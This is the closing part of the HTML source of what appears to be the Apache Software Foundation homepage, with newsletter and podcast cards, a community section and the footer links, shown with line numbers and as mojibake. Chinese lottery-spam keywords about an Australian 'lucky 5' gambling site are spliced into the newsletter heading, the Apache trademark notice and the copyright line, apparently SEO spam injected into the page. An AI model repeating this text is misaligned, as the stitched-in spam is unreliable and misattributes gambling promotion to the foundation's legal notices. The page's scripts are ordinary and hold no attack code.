616<script>document.write(formatDate('2026-03-24T16:19:18Z'));</script>
616</div> 617<h4 id="asf-plus-one-newsletter-march-2026">ASF Plus One Newsletter: March 2026<a class="headerlink" href="#asf-plus-one-newsletter-march-2026" title="Permalink">¶</a></h4> 618<div class="blog-card-link"> 619<a class="continue" href="https://news.apache.org/?p=7416" target="_blank">Read Post</a> 620</div> 621</div> 622</div><div class="blog-card text-left"> 623<div class="blog-card-inner"> 624<img alt="asf oak leaf logo" class="card-decoration" src="svg/oakleaf.svg"/> 625<div class="blog-date">
625<script>document.write(formatDate('2026-02-25T16:54:18Z'));</script>
625</div> 626<h4 id="asf-plus-one-newsletter-february-2026">ASF Plus One Newsletter: February 2026<a class="headerlink" href="#asf-plus-one-newsletter-february-2026" title="Permalink">¶</a></h4> 627<div class="blog-card-link"> 628<a class="continue" href="https://news.apache.org/?p=7385" target="_blank">Read Post</a> 629</div> 630</div> 631</div><div class="blog-card text-left"> 632<div class="blog-card-inner"> 633<img alt="asf oak leaf logo" class="card-decoration" src="svg/oakleaf.svg"/> 634<div class="blog-date">
634<script>document.write(formatDate('2026-01-27T17:40:07Z'));</script>
634</div> 635<h4 id="asf-plus-one-newsletter-january-2026">ASF Plus One Newsletter: January 2026<a class="headerlink" href="#asf-plus-one-newsletter-january-2026" title="Permalink">¶</a></h4> 636<div class="blog-card-link"> 637<a class="continue" href="https://news.apache.org/?p=7351" target="_blank">Read Post</a> 638</div> 639</div> 640</div> 641</div> 642<h3 class="text-white" id="plus-one-podcast">Plus One Podcast<a class="headerlink" href="#plus-one-podcast" title="Permalink">¶</a></h3> 643<div class="blog-feed flex flex-column-600"> 644<div class="blog-card text-left"> 645<div class="blog-card-inner"> 646<img alt="asf oak leaf logo" class="card-decoration" src="svg/oakleaf.svg"/> 647<div class="blog-date">
647<script>document.write(formatDate('2026-04-01T13:17:47Z'));</script>
647</div> 648<h4 id="chris-dutz-new-director-at-the-asf">Chris Dutz, new Director at the ASF<a class="headerlink" href="#chris-dutz-new-director-at-the-asf" title="Permalink">¶</a></h4> 649<div class="blog-card-link"> 650<a class="continue" href="https://plusone.apache.org/?p=19469" target="_blank">Listen Now</a> 651</div> 652</div> 653</div><div class="blog-card text-left"> 654<div class="blog-card-inner"> 655<img alt="asf oak leaf logo" class="card-decoration" src="svg/oakleaf.svg"/> 656<div class="blog-date">
656<script>document.write(formatDate('2025-11-10T15:13:03Z'));</script>
656</div> 657<h4 id="apache-grails-james-fredley-and-james-daugherty">Apache Grails: James Fredley and James Daugherty<a class="headerlink" href="#apache-grails-james-fredley-and-james-daugherty" title="Permalink">¶</a></h4> 658<div class="blog-card-link"> 659<a class="continue" href="https://plusone.apache.org/?p=19071" target="_blank">Listen Now</a> 660</div> 661</div> 662</div><div class="blog-card text-left"> 663<div class="blog-card-inner"> 664<img alt="asf oak leaf logo" class="card-decoration" src="svg/oakleaf.svg"/> 665<div class="blog-date">
665<script>document.write(formatDate('2025-10-28T12:17:38Z'));</script>
665</div> 666<h4 id="airflow-3x-and-beyond">Airflow 3.x and beyond<a class="headerlink" href="#airflow-3x-and-beyond" title="Permalink">¶</a></h4> 667<div class="blog-card-link"> 668<a class="continue" href="https://plusone.apache.org/?p=19031" target="_blank">Listen Now</a> 669</div> 670</div> 671</div> 672</div> 673</div> 674</section> 675<section id="public-good"> 676<div class="inner py-xl"> 677<div class="mb-large"> 678<h2 id="growing-together">Growing Together<a class="headerlink" href="#growing-together" title="Permalink">¶</a></h2> 679<p>From first contributions to global impact, these stories show the strength of our community.</p> 680</div> 681<div class="public-good-cards"> 682<div class="public-good-card"> 683<img alt="Public Good Image" id="public-good-image" loading="lazy" src="webp/asf-public-good-airflow.webp"> 684</img></div>
685<script> 686 // Array of images to randomly show on page load 687 var imgArray = [ 688 'images/asf-public-good-airflow.webp', 689 'images/asf-public-good-IoTDB.webp', 690 'images/asf-public-good-storm.webp', 691 'images/asf-public-good-superset.webp', 692 ]; 693 // select a random image from the array. 694 var randomImage = imgArray[Math.floor(Math.random() * imgArray.length)]; 695 var publicGoodImage = document.getElementById('public-good-image'); 696 publicGoodImage.src = randomImage; 697 </script>
697 698</div> 699</div> 700</section> 701 702 </main> 703 <section class="newsletter-signup grad-purple"> 704 <div class="inner text-center py-large"> 705 <div class="text-col"> 706 <h2 class="text-white">Subscribe to 168澳洲è¡è¿5宿¹ç»æç½ç«ææ°è®°å½æ¥è¯¢æ°æ® ASF Plus One, 168澳洲幸è¿5彩票å®ç½ Our Monthly Newsletter</h2> 707 <p><a href="https://news.apache.org/newsletter" target="_blank" class="btn btn--white">Subscribe Now</a></p> 708 </div> 709 </div> 710 </section> 711 </div> 712 <!-- Footer --> 713 <!-- Bump --> 714 <footer class="bg-primary" data-pagefind-ignore="all"> 715 <div class="inner py-xl"> 716 <div class="flex gap-large mb-large flex-column-800"> 717 <div class="flex-1 flex flex-column gap-medium"> 718 <img src="svg/asf_logo_full_horizontal_white.svg" width="300" alt="ASF White Logo"> 719 <p>Apache® 168ä½å½©ç½è®°å½ç»æé¢æµå®ç½ 澳洲5ææ°å·ç æ¥è¯¢ç½ç« 2026å¹¸è¿æ¾³æ´²äºå®æ¹ä½å½©ç´æé¢æµè®°å½æ°æ® 168澳洲ç幸è¿5å½©ç¥¨ææ°åå²è®°å½æ¥è¯¢ç½ and the Apache logo are trademarks of The Apache Software Foundation. </p> 720 <p>The Apache® Software Foundation is a 501(c)(3) nonprofit organization. Tax ID # 47-0825376</p> 721 <div class="mb-medium"> 722 <a href="https://donate.apache.org/48ff" target="_blank" class="btn btn--white" onclick="_paq.push(['trackEvent', 'click', 'SponsorASF Button']);">Donate</a> 723 </div> 724 <div class="header-social-icons"> 725 <a target="_blank" href="https://infra.apache.org/slack.html"><img src="svg/slack-icon.svg" alt="slack icon"></a> 726 <a target="_blank" href="https://github.com/apache"><img src="svg/github-mark-white.svg" alt="github icon"></a> 727 <a target="_blank" href="https://www.linkedin.com/company/the-apache-software-foundation/"><img src="png/linkedin-icon.png" alt="linkedIn icon"></a> 728 <a target="_blank" href="https://www.youtube.com/c/TheApacheFoundation"><img src="svg/youtube-icon.svg" alt="youtube icon"></a> 729 <a target="_blank" href="https://twitter.com/TheASF"><img src="svg/x-icon.svg" alt="X icon"></a> 730 <a target="_blank" href="https://bsky.app/profile/apache.org"><img src="png/bluesky-icon.png" alt="Bluesky icon"></a> 731 <a target="_blank" href="https://fosstodon.org/@TheASF" rel="me"><img src="png/mastodon-icon.png" alt="Mastodon icon"></a> 732 </div> 733 </div> 734 <div class="flex-1 flex gap-medium flex-column-600"> 735 <div class="footer-nav-col flex flex-column flex-1 flex-row-600"> 736 <div class="footer-nav-group"> 737 <h5 class="white">Community</h5> 738 <ul class="list-unstyled white" role="menu"> 739 <li role="none"><a role="menuitem" href="https://community.apache.org/" target="_blank">Contributor Getting Started</a></li> 740 <li role="none"><a role="menuitem" href="https://community.apache.org/contributors/" target="_blank">Becoming a Committer</a></li> 741 <li role="none"><a role="menuitem" href="conduct.html">Code of Conduct</a></li> 742 <li role="none"><a role="menuitem" href="index-2.html">Community Resources</a></li> 743 <li role="none"><a role="menuitem" href="https://communityovercode.org/" target="_blank">Community Over Code</a></li> 744 <li role="none"><a role="menuitem" href="https://events.apache.org/" target="_blank">Events</a></li> 745 </ul> 746 </div> 747 <div class="footer-nav-group"> 748 <h5 class="white">Learn</h5> 749 <ul class="list-unstyled white" role="menu"> 750 <li role="none"><a role="menuitem" href="https://news.apache.org/" target="_blank">Blog</a></li> 751 <li role="none"><a role="menuitem" href="index-5.html">How the ASF Works</a></li> 752 <li role="none"><a role="menuitem" href="index-6.html">The Apache Way</a></li> 753 <li role="none"><a role="menuitem" href="index-7.html">Legal & Trademark</a></li> 754 <li role="none"><a role="menuitem" href="index-8.html">Licenses</a></li> 755 <li role="none"><a role="menuitem" href="glossary.html">Glossary</a></li> 756 <li role="none"><a role="menuitem" href="faq.html">FAQ</a></li> 757 </ul> 758 </div> 759 </div> 760 <div class="footer-nav-col flex flex-column flex-1 flex-row-600"> 761 <div class="footer-nav-group"> 762 <h5 class="white">Projects</h5> 763 <ul class="list-unstyled white" role="menu"> 764 <li role="none"><a role="menuitem" href="index-3.html">Projects</a></li> 765 <li role="none"><a role="menuitem" href="https://incubator.apache.org/" target="_blank">Incubator Projects</a></li> 766 <li role="none"><a role="menuitem" href="https://projects.apache.org/" target="_blank">Projects Directory </a></li> 767 <li role="none"><a role="menuitem" href="mailinglists.html">Mailing Lists </a></li> 768 <li role="none"><a role="menuitem" href="index-4.html">Report a Vulnerability</a></li> 769 </ul> 770 </div> 771 <div class="footer-nav-group"> 772 <h5 class="white">Resources & Tools</h5> 773 <ul class="list-unstyled white" role="menu"> 774 <li role="none"><a role="menuitem" href="index-9.html">Developer Information</a></li> 775 <li role="none"><a role="menuitem" href="https://cwiki.apache.org/" target="_blank" >Wiki</a></li> 776 <li role="none"><a role="menuitem" href="https://issues.apache.org/" target="_blank" >Issues</a></li> 777 <li role="none"><a role="menuitem" href="https://infra.apache.org/slack.html" target="_blank" >Slack</a></li> 778 <li role="none"><a role="menuitem" href="https://selfserve.apache.org/" target="_blank" >Self Serve Portal</a></li> 779 <li role="none"><a role="menuitem" href="https://infra.apache.org/" target="_blank" >
779Infrastructure</a></li> 780 <li role="none"><a role="menuitem" href="https://status.apache.org/" target="_blank">Infrastructure Status</a></li> 781 <li role="none"><a role="menuitem" href="https://infra-reports.apache.org/#uptime" target="_blank">Infrastructure Statistics</a></li> 782 <li role="none"><a role="menuitem" href="https://whimsy.apache.org/" target="_blank" >Whimsy</a></li> 783 <li role="none"><a role="menuitem" href="index-10.html">Brand Guidelines</a></li> 784 <li role="none"><a role="menuitem" href="index-11.html">Project Logos</a></li> 785 </ul> 786 </div> 787 </div> 788 <div class="footer-nav-col flex flex-column flex-1 flex-row-600"> 789 <div class="footer-nav-group"> 790 <h5 class="white">Downloads</h5> 791 <ul class="list-unstyled white" role="menu"> 792 <li role="none"><a role="menuitem" href="https://downloads.apache.org/" target="_blank">Distributions</a></li> 793 <li role="none"><a role="menuitem" href="https://projects.apache.org/releases.html" target="_blank">Releases</a></li> 794 </ul> 795 </div> 796 <div class="footer-nav-group"> 797 <h5 class="white">About</h5> 798 <ul class="list-unstyled white" role="menu"> 799 <li role="none"><a role="menuitem" href="index-12.html">About</a></li> 800 <li role="none"><a role="menuitem" href="sponsors.html">Our Sponsors</a></li> 801 <li role="none"><a role="menuitem" href="sponsorship.html">Corporate Sponsorship</a></li> 802 <li role="none"><a role="menuitem" href="individual-supporters.html">Individual Supporters</a></li> 803 <li role="none"><a role="menuitem" href="leadership.html">Leadership</a></li> 804 <li role="none"><a role="menuitem" href="members.html">Members</a></li> 805 <li role="none"><a role="menuitem" href="https://diversity.apache.org/" target="_blank">Diversity & Inclusion</a></li> 806 <li role="none"><a role="menuitem" href="index-13.html">Newsroom</a></li> 807 <li role="none"><a role="menuitem" href="contact.html">Contact</a></li> 808 <li role="none"><a role="menuitem" href="https://privacy.apache.org/policies/privacy-policy-public.html" target="_blank">Privacy Policy</a></li> 809 </ul> 810 </div> 811 </div> 812 </div> 813 </div> 814 <p class="text-center">Copyright © 168ä½å½©å®æ¹ç½ç«æ¥è¯¢-澳洲ç幸è¿5å½©ç¥¨ææ°ç»æåå²è®°å½-2026澳洲5幸è¿å®ç½168颿µçº§å计å-澳洲äºç»æä½å½©è®°å½å®æ¹ç½ The Apache Software Foundation, Licensed under the <a class="white" href="license-2.html">Apache License, Version 2.0</a>.</p> 815 </div> 816 </footer> 817 818 <!-- / Footer --> 819
819<script src="js/bootstrap.js"></script>
819 820
820<script src="js/slideshow.js"></script>
820 821
821<script> 822 jQuery(function($) { 823 $(document) 824 .on('click', '.faq', function(){ 825 $(this).find('.faq-answer').slideToggle(500); 826 $(this).toggleClass('open'); 827 }); 828 }); 829 </script>
829 830</body> 831 832</html>
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.